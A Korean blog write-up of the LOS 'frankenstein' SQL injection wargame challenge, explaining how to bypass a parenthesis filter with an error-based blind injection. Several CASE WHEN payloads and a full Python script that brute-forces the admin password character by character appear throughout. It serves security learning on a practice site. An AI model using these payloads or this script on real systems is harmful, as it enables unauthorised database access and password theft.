필터링 조건은 _ . union ( ) 등을 필터링하고 있으며 addslashes 함수를 통해 pw에 들어가는 입력값에 / / 추가하므로 pw 값 자체를 알아내야 하는 문제이다.

괄호가 필터링 되는 게 제일 큰 문제이다.. 흠

일단, if(), (case when ~) 쓸 수 없고, length(), substr(), ascii()등과 같은 흔한 함수들도 사용할 수 없음.

어쨌든 pw값을 알아야 하기 때문에 pw like  'a%' 'ab%' 이런식으로 한글자씩 찾아야 한다. (left,right,lpad같은 함수도 못 씀)

그럼 조건문은 어떻게 만들 것인가? 처음에는 where절만 써서 하나 싶었는데 힌트를 좀 얻으니 그렇게는 쓸 수 없었다.

보통 case when 문을 사용할 때 위 그림과 같이 사용한다. 하지만 괄호가 필터링된다. 

다행히도 mysql에서는 괄호 없이도 case when 구문이 성립된다!!!

 

문제를 보면,

특이사항으로 쿼리 에러시 error로 출력한다. 왜 다르게 해뒀을까? 

정확한 쿼리  > 기본 페이지 출력 
부정확한 쿼리 > error 페이지 출력

이를 통해 error based injection을 시도할 수 있다.

부정확한 쿼리 발생을 위해서는 21번 문제를 참고하자.

payload : pw = ' ' or case when 1=1 then 1 else 9e307*2 end #

1=1 참일 때 1 반환

payload : pw = ' ' or case when 1=2 then 1 else 9e307*2 end # 

1=2 거짓일 때 9e307*2 를 반환하여 쿼리 에러로 에러 페이지를 반환한다.

 

조건문을 작성했으니, pw를 한글자씩 찾는 쿼리를 만들면 된다.

여기서 문제 발생...

payload : pw = ' ' or case when id='admin' and pw like 'a%' then 1 else 9e307*2 end # 

이런식으로 조건에 id = 'admin' and pw like 'a%' 로 해주었는데.. 계속 안되서 여기서만 몇 분을 할애했다..

문제해결로는 id = 'admin' 조건을 case when 내부에 넣지 말고 case when 밖으로 and로 연결해주었다.

payload : pw = ' ' or id='admin' and case when and pw like 'a%' then 1 else 9e307*2 end # 

 

자동화코드는 다음과 같다.

#LOS frankenstein

import requests

url ="https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값
pw=''
check = ""


string = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_@-`?$^!"

while 1: 
    
    
    for char in string:

        tmp = pw + char+'%'  #9% -> 90% -> 902%
        #print(tmp)

        value = "1' or id='admin' and case when pw like '"+tmp+"' then 1 else 9e307*2 end #".format(char) #injection payload
        parmas = {'pw': value}      
        response = requests.get(url,params=parmas, cookies=cookies)

        print(parmas)
        #print(response.text)

        if ("__FILE__</span>" in  response.text):
            pw = pw + char
            print("payload:", pw)
            check = 1
            break

__FILE__</span> 코드는 응답값을 찍어본 다음에, 구별할 수 있는 아무 텍스트나 정해서 pw를 찾으면 break 걸도록 해뒀다.

위코드는 따로 pw의 길이를 파악할 수 없기에
더이상 찾지 못하고 string 리스트에 있는 문자를 계속 검색하면 멈추고 pw를 찾아냈다.

 

어려워

solve!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step31. ZOMBIE 풀이  (0) 2023.07.11
[LOS] step30. ouroboros 풀이  (0) 2023.07.05
[LOS] step27. blue_dragon 풀이  (0) 2023.06.22
[LOS] step26. red_dragon 풀이  (0) 2023.06.22
[LOS] step25. green_dragon 풀이  (0) 2023.06.21

+ Recent posts